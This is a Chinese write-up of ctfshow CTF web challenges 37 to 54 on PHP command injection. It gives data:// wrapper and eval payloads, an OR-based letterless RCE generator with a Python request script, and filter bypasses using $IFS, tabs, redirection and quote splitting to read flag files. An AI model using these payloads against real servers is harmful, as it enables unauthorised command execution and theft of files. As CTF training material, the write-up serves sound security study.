ctfshow web 命令执行 37~54

#两天超大杯


  • web 37

    普通的文件包含,那就只说一种方法好了:

    ?c=data://text/plain,<?=system('tac fla?.php');?>
    
  • web 38

    跟上题差不多,改一下就行:

    ?c=data://text/plain,<?=system('tac fla*');?>
    
  • web 39

    在最后面加了个.php,但是不必在意,跟上题一样就行:

    ?c=data://text/plain,<?=system('tac fla*');?>
    
  • web 40

    看似过滤了很多东西,实际也确实,但注意题中过滤的是中文小括号,所以括号是可以正常使用的

    先引入亿点点函数:

    localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)

    pos()/current():输出数组第一个元素,不改变指针

    scandir():获取目录下的文件

    array_reverse():数组逆置

    next():函数将内部指针指向数组中的下一个元素,并输出

    print_r():函数用于打印变量,作用对象是变量

    show_source()/highlight_file():查看源码

    get_defined_vars():返回一个包含所有已定义变量的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等

    getcwd(): 返回当前工作目录,它可以代替pos(localeconv())

    array_pop(): 删除数组中的最后一个元素并返回其值

    首先查看目录结构,构造:
    ?c=print_r(scandir(getcwd()));

    在这里插入图片描述

    找到flag位置在索引[2]

    接下来逆转该数组,把flag.php放在index.php后面,构造
    ?c=print_r(array_reverse(scandir(getcwd())));

    在这里插入图片描述

    接下来查看源码就大功告成了,构造:
    ?c=show_source(next(array_reverse(scandir(getcwd()))));

    在这里插入图片描述

    上述方法是从文件入手,还有一种方法从变量入手

    首先构造出查看当前所有变量的函数:
    ?c=print_r(get_defined_vars());

    在这里插入图片描述

    此时查看post变量,构造:
    ?c=print_r(next(get_defined_vars()));

    在这里插入图片描述

    此时若在post中传参,例如:
    post传参:1=system("tac fla?.php");

    在这里插入图片描述

    此时会发现post的数组中出现了该值

    而array_pop()函数可以删除数组中的最后一个元素,并返回该元素

    例如构造:
    ?c=print(array_pop(next(get_defined_vars())));

    在这里插入图片描述

    这样就可以打印post中我自己传递的参数

    所以现在只需执行该命令,构造:
    ?c=eval(array_pop(next(get_defined_vars())));
    post传参:1=system("tac fla?.php");

    拿到flag

  • web 41

    经典的无字母rce,但过滤了$、+、-、^、~使得异或自增和取反都无法使用,所以这题我不会做,看答案了
    这是羽师傅介绍的一种或运绕过,因为本题没有过滤或运算符|

    [ctfshow web入门 web41](ctfshow web入门 web41_ctfshow web41-CSDN博客)

    首先是脚本rce_or.php:

    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
        for ($j=0; $j <256 ; $j++) { 
    
            if($i<16){
                $hex_i='0'.dechex($i);
            }
            else{
                $hex_i=dechex($i);
            }
            if($j<16){
                $hex_j='0'.dechex($j);
            }
            else{
                $hex_j=dechex($j);
            }
            $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
            if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                        echo "";
        }
    
            else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
    

    通过以上 php 脚本生成一个 rce_or.txt,内容是上述可用字符及编码。
    大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
    接着是exp.py脚本:

    # -*- coding: utf-8 -*-
    import requests
    import urllib
    from sys import *
    import os
    os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
    if(len(argv)!=2):
       print("="*50)
       print('USER:python exp.py <url>')
       print("eg:  python exp.py http://ctf.show/")
       print("="*50)
       exit(0)
    url=argv[1]
    def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("rce_or.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"|\""+s2+"\")"
       return(output)
    
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
       data={
           'c':urllib.parse.unquote(param)
           }
       r=requests.post(url,data=data)
       print("\n[*] result:\n"+r.text)
    

    用法是python exp.py <url>
    所以本题先运行第一个php脚本得到rce_or.txt,接着运行第二个python脚本,输入相关命令得到flag
    例如:
    在这里插入图片描述
    注意:exp.py后面跟的url要改为http开头

  • web 42

    command > /dev/null 2>&1输出重定向,会将标准输出和标准错误都重定向到 /dev/null ,即不回显

    ; //分号
    | //只执行后面那条命令
    || //只执行前面那条命令
    & //两条命令都会执行
    && //两条命令都会执行

    此处可以构造

    ?c=ls;
    ?c=tac flag.php;
    

    此处不需要再打上双引号,PHP会自动处理字符串拼接

  • web 43

    ;被过滤了,可以采用||,例如构造:

    ?c=ls||
    ?c=tac flag.php||
    
  • web 44

    ?c=tac fla?.php||
    
  • web 45

    ?c=tac$IFS$9fla?.php||
    
  • web 46~49

    ?c=tac%09fla?.php||
    
  • web 50

    老实了,但我还有<>绕过空格

    ?c=tac<fla''g.php||
    

    此处就不能通过?绕过flag了,具体原因我也不太清楚,望有师傅教导

  • web 51

    ?c=t‘’ac<fla''g.php||
    
  • web 52

    这题<>被过滤了,但$又能用了,所以尝试${IFS}绕过空格

    先尝试了一下?c=t''ac${IFS}fla''g.php||,发现没有得到flag,而是得到flag_here

    在这里插入图片描述

    猜测本题flag不在flag.php中

    构造:

    ?c=ls${IFS}/||
    

    在这里插入图片描述

    发现存在flag

    直接tac一下:

    ?c=t''ac${IFS}/fla''g||
    

    拿到flag

  • web 53

    没有输出重定向了,只需向上题那样绕过空格,例如:

    ?c=t''ac${IFS}fla''g.php
    
  • web 54

    本题为严格过滤,这些命令都用不了了

    首先确定flag位置,构造:

    ?c=ls
    

    在这里插入图片描述

    发现flag.php,构造payload:

    ?c=grep${IFS}'fla'${IFS}fla?.php
    

    grep用法

    grep [选项] "搜索模式" 文件名
    例如:grep "hello" example.txt         # 搜索包含"hello"的行
    

    其实我第一时间想到的是uniq命令,但是失败了,我也不太理解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值